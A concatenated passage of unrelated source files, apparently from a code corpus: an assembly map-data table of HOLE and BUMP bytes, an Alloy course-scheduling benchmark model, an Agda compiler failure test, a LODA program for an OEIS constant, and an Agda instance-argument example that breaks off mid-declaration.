dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column28Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
; 160-141
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column29Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column30Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 140-121
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column31Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 140-121
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column32Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 140-121
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 160-141
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
; 180-161
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
;==============================
ORG $FFF6
BANKS_AND_VECTORS
;==============================
|
scripts/course/models_20210203/sat_60_70_3_6.als | eskang/alloy-maxsat-benchmark | 0 | 2490 |
abstract sig Day {}
one sig Mon, Tue, Wed, Thu, Fri extends Day {}
abstract sig Time {}
one sig AM, PM extends Time {}
abstract sig Course {
lectures: set Lecture
}
one sig C0,C1,C2,C3,C4,C5,C6,C7,C8,C9,C10,C11,C12,C13,C14,C15,C16,C17,C18,C19,C20,C21,C22,C23,C24,C25,C26,C27,C28,C29,C30,C31,C32,C33,C34,C35,C36,C37,C38,C39,C40,C41,C42,C43,C44,C45,C46,C47,C48,C49,C50,C51,C52,C53,C54,C55,C56,C57,C58,C59 extends Course {}
fact {
lectures = C0 -> MonPM + C0 -> WedPM +
C1 -> MonAM + C1 -> WedAM +
C2 -> MonAM + C2 -> WedAM +
C3 -> MonAM + C3 -> WedAM + C3 -> FriPM +
C4 -> TuePM + C4 -> TuePM +
C5 -> MonAM + C5 -> WedAM +
C6 -> TueAM + C6 -> ThuAM +
C7 -> TueAM + C7 -> ThuAM +
C8 -> TueAM + C8 -> ThuAM +
C9 -> TuePM + C9 -> TuePM +
C10 -> MonPM + C10 -> WedPM +
C11 -> MonAM + C11 -> WedAM +
C12 -> TueAM + C12 -> ThuAM +
C13 -> MonAM + C13 -> WedAM + C13 -> FriPM +
C14 -> MonAM + C14 -> WedAM +
C15 -> TueAM + C15 -> ThuAM +
C16 -> MonAM + C16 -> WedAM +
C17 -> MonAM + C17 -> WedAM +
C18 -> TueAM + C18 -> ThuAM +
C19 -> MonAM + C19 -> WedAM + C19 -> FriPM +
C20 -> MonAM + C20 -> WedAM +
C21 -> MonPM + C21 -> WedPM +
C22 -> MonAM + C22 -> WedAM + C22 -> FriPM +
C23 -> MonAM + C23 -> WedAM + C23 -> FriPM +
C24 -> MonPM + C24 -> WedPM +
C25 -> TuePM + C25 -> TuePM +
C26 -> MonPM + C26 -> WedPM +
C27 -> TuePM + C27 -> TuePM +
C28 -> MonPM + C28 -> WedPM +
C29 -> MonAM + C29 -> WedAM +
C30 -> TueAM + C30 -> ThuAM +
C31 -> MonAM + C31 -> WedAM +
C32 -> TueAM + C32 -> ThuAM +
C33 -> TueAM + C33 -> ThuAM +
C34 -> MonAM + C34 -> WedAM + C34 -> FriPM +
C35 -> MonAM + C35 -> WedAM + C35 -> FriPM +
C36 -> MonAM + C36 -> WedAM +
C37 -> MonAM + C37 -> WedAM +
C38 -> MonAM + C38 -> WedAM + C38 -> FriPM +
C39 -> MonAM + C39 -> WedAM + C39 -> FriPM +
C40 -> TuePM + C40 -> TuePM +
C41 -> MonAM + C41 -> WedAM +
C42 -> MonPM + C42 -> WedPM +
C43 -> MonAM + C43 -> WedAM +
C44 -> TuePM + C44 -> TuePM +
C45 -> MonAM + C45 -> WedAM + C45 -> FriPM +
C46 -> MonAM + C46 -> WedAM + C46 -> FriPM +
C47 -> MonAM + C47 -> WedAM + C47 -> FriPM +
C48 -> TueAM + C48 -> ThuAM +
C49 -> MonPM + C49 -> WedPM +
C50 -> MonPM + C50 -> WedPM +
C51 -> TuePM + C51 -> TuePM +
C52 -> TueAM + C52 -> ThuAM +
C53 -> MonPM + C53 -> WedPM +
C54 -> MonAM + C54 -> WedAM + C54 -> FriPM +
C55 -> MonPM + C55 -> WedPM +
C56 -> MonAM + C56 -> WedAM + C56 -> FriPM +
C57 -> MonAM + C57 -> WedAM + C57 -> FriPM +
C58 -> MonAM + C58 -> WedAM +
C59 -> TueAM + C59 -> ThuAM
}
abstract sig Lecture {
day: one Day,
time: one Time
}
one sig MonAM, MonPM, TueAM, TuePM, WedAM, WedPM,
ThuAM, ThuPM, FriAM, FriPM extends Lecture {}
fact {
day = MonAM -> Mon + MonPM -> Mon +
TueAM -> Tue +TuePM -> Tue +
WedAM -> Wed + WedPM -> Wed +
ThuAM -> Thu + ThuPM -> Thu +
FriAM -> Fri + FriPM -> Fri
time = MonAM -> AM + MonPM -> PM +
TueAM -> AM +TuePM -> PM +
WedAM -> AM + WedPM -> PM +
ThuAM -> AM + ThuPM -> PM +
FriAM -> AM + FriPM -> PM
}
abstract sig Student {
core: set Course,
interests: set Course,
courses: set Course
}
one sig S0 extends Student {} {
core = C35
interests = C10 + C35
}
one sig S1 extends Student {} {
core = C34
interests = C18 + C40 + C42 + C8
}
one sig S2 extends Student {} {
core = none
interests = C59
}
one sig S3 extends Student {} {
core = C23
interests = C21 + C21 + C5 + C7 + C23 + C0
}
one sig S4 extends Student {} {
core = C41 + C48
interests = C41 + C28 + C19
}
one sig S5 extends Student {} {
core = none
interests = C53 + C8 + C27 + C2 + C6 + C14
}
one sig S6 extends Student {} {
core = C22
interests = C50 + C45 + C24
}
one sig S7 extends Student {} {
core = C11 + C6 + C49
interests = C49 + C43 + C56 + C23 + C54
}
one sig S8 extends Student {} {
core = C35 + C42 + C25
interests = C42
}
one sig S9 extends Student {} {
core = C51
interests = C50 + C50 + C26 + C27
}
one sig S10 extends Student {} {
core = C14
interests = C49 + C49
}
one sig S11 extends Student {} {
core = C8 + C4 + C20
interests = C20 + C42
}
one sig S12 extends Student {} {
core = C42 + C46 + C33
interests = C33 + C34 + C24 + C52 + C43
}
one sig S13 extends Student {} {
core = C2 + C0
interests = C0 + C5 + C55 + C26
}
one sig S14 extends Student {} {
core = C0 + C51
interests = C0 + C49 + C4 + C41 + C19
}
one sig S15 extends Student {} {
core = none
interests = C57 + C43 + C26 + C53 + C3 + C2
}
one sig S16 extends Student {} {
core = C0
interests = C5 + C29 + C50 + C4 + C49
}
one sig S17 extends Student {} {
core = none
interests = C11 + C23 + C29 + C59 + C21
}
one sig S18 extends Student {} {
core = none
interests = C43
}
one sig S19 extends Student {} {
core = C14 + C52 + C26
interests = C26 + C19 + C52
}
one sig S20 extends Student {} {
core = C14
interests = C25 + C25 + C39 + C41 + C5 + C23
}
one sig S21 extends Student {} {
core = C47
interests = C55 + C24 + C23 + C8 + C33
}
one sig S22 extends Student {} {
core = C6 + C45
interests = C6 + C0 + C55 + C9 + C30
}
one sig S23 extends Student {} {
core = C6
interests = C9 + C11 + C20 + C44
}
one sig S24 extends Student {} {
core = C13 + C8
interests = C8 + C24 + C0
}
one sig S25 extends Student {} {
core = C15 + C3
interests = C15 + C36 + C49 + C53
}
one sig S26 extends Student {} {
core = C4 + C58 + C0
interests = C58 + C55 + C46 + C22 + C23 + C16
}
one sig S27 extends Student {} {
core = C34
interests = C7
}
one sig S28 extends Student {} {
core = C59
interests = C26 + C28 + C17
}
one sig S29 extends Student {} {
core = C20 + C15
interests = C20 + C34 + C25 + C27
}
one sig S30 extends Student {} {
core = C26 + C5
interests = C26 + C58 + C19
}
one sig S31 extends Student {} {
core = C43 + C32 + C21
interests = C43 + C21 + C26 + C28 + C55
}
one sig S32 extends Student {} {
core = C16 + C50
interests = C50 + C59 + C12 + C51 + C30
}
one sig S33 extends Student {} {
core = C59
interests = C24 + C59 + C21 + C9 + C31 + C27
}
one sig S34 extends Student {} {
core = none
interests = C51 + C45 + C20 + C32
}
one sig S35 extends Student {} {
core = none
interests = C39 + C9
}
one sig S36 extends Student {} {
core = C49 + C9 + C36
interests = C36 + C45 + C12
}
one sig S37 extends Student {} {
core = C28
interests = C29 + C5 + C35 + C44 + C14 + C17
}
one sig S38 extends Student {} {
core = C34 + C32 + C42
interests = C42 + C54 + C26 + C40 + C6
}
one sig S39 extends Student {} {
core = C54
interests = C21 + C36 + C10 + C15 + C33 + C38
}
one sig S40 extends Student {} {
core = C9
interests = C34 + C57 + C1 + C38 + C39 + C54
}
one sig S41 extends Student {} {
core = C34
interests = C24
}
one sig S42 extends Student {} {
core = C21 + C36 + C52
interests = C36 + C11 + C13 + C12
}
one sig S43 extends Student {} {
core = C7
interests = C20 + C55
}
one sig S44 extends Student {} {
core = none
interests = C47
}
one sig S45 extends Student {} {
core = none
interests = C52 + C53 + C8 + C48
}
one sig S46 extends Student {} {
core = C52 + C41
interests = C52 + C41 + C35 + C17 + C5
}
one sig S47 extends Student {} {
core = C47 + C40 + C21
interests = C40 + C11 + C45
}
one sig S48 extends Student {} {
core = C57 + C4 + C18
interests = C4 + C26 + C41 + C51 + C23 + C58
}
one sig S49 extends Student {} {
core = C22 + C10 + C12
interests = C22 + C16 + C33 + C43
}
one sig S50 extends Student {} {
core = C15
interests = C20 + C20 + C27 + C2 + C6 + C8
}
one sig S51 extends Student {} {
core = C17 + C7 + C10
interests = C10 + C18 + C15
}
one sig S52 extends Student {} {
core = C2 + C15 + C50
interests = C2 + C33 + C44
}
one sig S53 extends Student {} {
core = C47 + C49
interests = C47 + C26 + C11 + C51
}
one sig S54 extends Student {} {
core = C27 + C7 + C57
interests = C7 + C47 + C4
}
one sig S55 extends Student {} {
core = C21 + C36
interests = C36 + C16
}
one sig S56 extends Student {} {
core = C30 + C1 + C28
interests = C28 + C53 + C48 + C1 + C59
}
one sig S57 extends Student {} {
core = none
interests = C49 + C38 + C35 + C41 + C28
}
one sig S58 extends Student {} {
core = C7 + C46 + C0
interests = C46 + C57 + C6 + C5 + C39
}
one sig S59 extends Student {} {
core = C34
interests = C10 + C10 + C31 + C46 + C50 + C41
}
one sig S60 extends Student {} {
core = C31
interests = C28 + C19
}
one sig S61 extends Student {} {
core = C33
interests = C26 + C36 + C2 + C48 + C50 + C1
}
one sig S62 extends Student {} {
core = C38 + C24
interests = C38 + C0 + C42
}
one sig S63 extends Student {} {
core = C14 + C42 + C48
interests = C14 + C20 + C36
}
one sig S64 extends Student {} {
core = C53 + C2
interests = C2
}
one sig S65 extends Student {} {
core = C46 + C8 + C44
interests = C8 + C35 + C51 + C13 + C26 + C20
}
one sig S66 extends Student {} {
core = none
interests = C56 + C1 + C34 + C6
}
one sig S67 extends Student {} {
core = C31 + C30
interests = C31 + C38
}
one sig S68 extends Student {} {
core = C1
interests = C10 + C41
}
one sig S69 extends Student {} {
core = none
interests = C57
}
pred conflict[c1, c2: Course] {
some l1, l2: Lecture {
l1 in c1.lectures
l2 in c2.lectures
l1.day = l2.day
l1.time = l2.time
}
}
pred validSchedule[courses: Student -> Course] {
all stu: Student {
#stu.courses > 2
stu.core in stu.courses
all disj c1, c2: stu.courses | not conflict[c1, c2]
}
}
run AnySchedule {
validSchedule[courses]
all stu: Student | some stu.interests & stu.courses
} |
test/Fail/Issue2248_COMPILED_TYPE.agda | Blaisorblade/Agda | 3 | 4580 | <gh_stars>1-10
-- Andreas, 2016-10-11, AIM XXIV, issue #2248
-- COMPILED_TYPE should only work on postulates
data Unit : Set where
unit : Unit
postulate
IO : Set → Set
{-# BUILTIN IO IO #-}
{-# COMPILE GHC IO = type IO #-}
abstract
IO' : Set → Set
IO' A = A
doNothing : IO' Unit
doNothing = unit
{-# COMPILE GHC IO' = type IO #-}
postulate
toIO : {A : Set} → IO' A → IO A
{-# COMPILE GHC toIO = \ _ x -> x #-}
main : IO Unit
main = toIO doNothing
|
oeis/257/A257235.asm | neoneye/loda-programs | 11 | 247542 | <gh_stars>10-100
; A257235: Decimal expansion of the real root of x^3 + x - 6.
; Submitted by <NAME>
; 1,6,3,4,3,6,5,2,9,3,0,1,3,5,4,3,3,2,3,3,6,8,2,8,4,4,5,6,9,7,8,2,5,2,2,1,0,3,3,7,2,0,4,7,0,3,7,5,4,0,4,7,2,8,1,7,6,9,5,7,4,6,1,2,9,6,2,2,3,1,7,7,9,3,3,3,5,7,3,4,8,6,1,2,0,4,6,1,2,4,9,3,7,9,0,8,8
mov $2,1
mov $3,$0
mul $3,4
lpb $3
add $1,$2
add $5,$2
add $1,$5
add $2,$1
mul $1,2
sub $2,$5
sub $3,1
lpe
mov $1,1
add $1,$5
mov $4,10
pow $4,$0
mul $4,2
div $2,$4
lpb $2
mov $6,$2
cmp $6,0
add $2,$6
div $1,$2
mod $2,9
lpe
mov $0,$1
mod $0,10
|
examples/instance-arguments/05-equality-std1.agda | larrytheliquid/agda | 0 | 420 | <gh_stars>0
{-# OPTIONS --universe-polymorphism #-}
-- {-# OPTIONS --verbose tc.records.ifs:15 #-}
-- {-# OPTIONS --verbose tc.constr.findInScope:15 #-}
-- {-# OPTIONS --verbose tc.term.args.ifs:15 #-}
module 05-equality-std1 where
open import Relation.Binary using (IsDecEquivalence; module IsDecEquivalence; Reflexive; module DecSetoid)
open import Data.Bool using (false; true; decSetoid)
open DecSetoid decSetoid using (isDecEquivalence)
open module IsDecEquivalenceWithImplicits = IsDecEquivalence {{...}} using (_≟_)
test = false ≟ true
test2 : ∀ {a ℓ} {A : Set a} {_≈_} → {{ide : IsDecEquivalence {a} {ℓ} {A} _≈_}} →
Reflexive _≈_
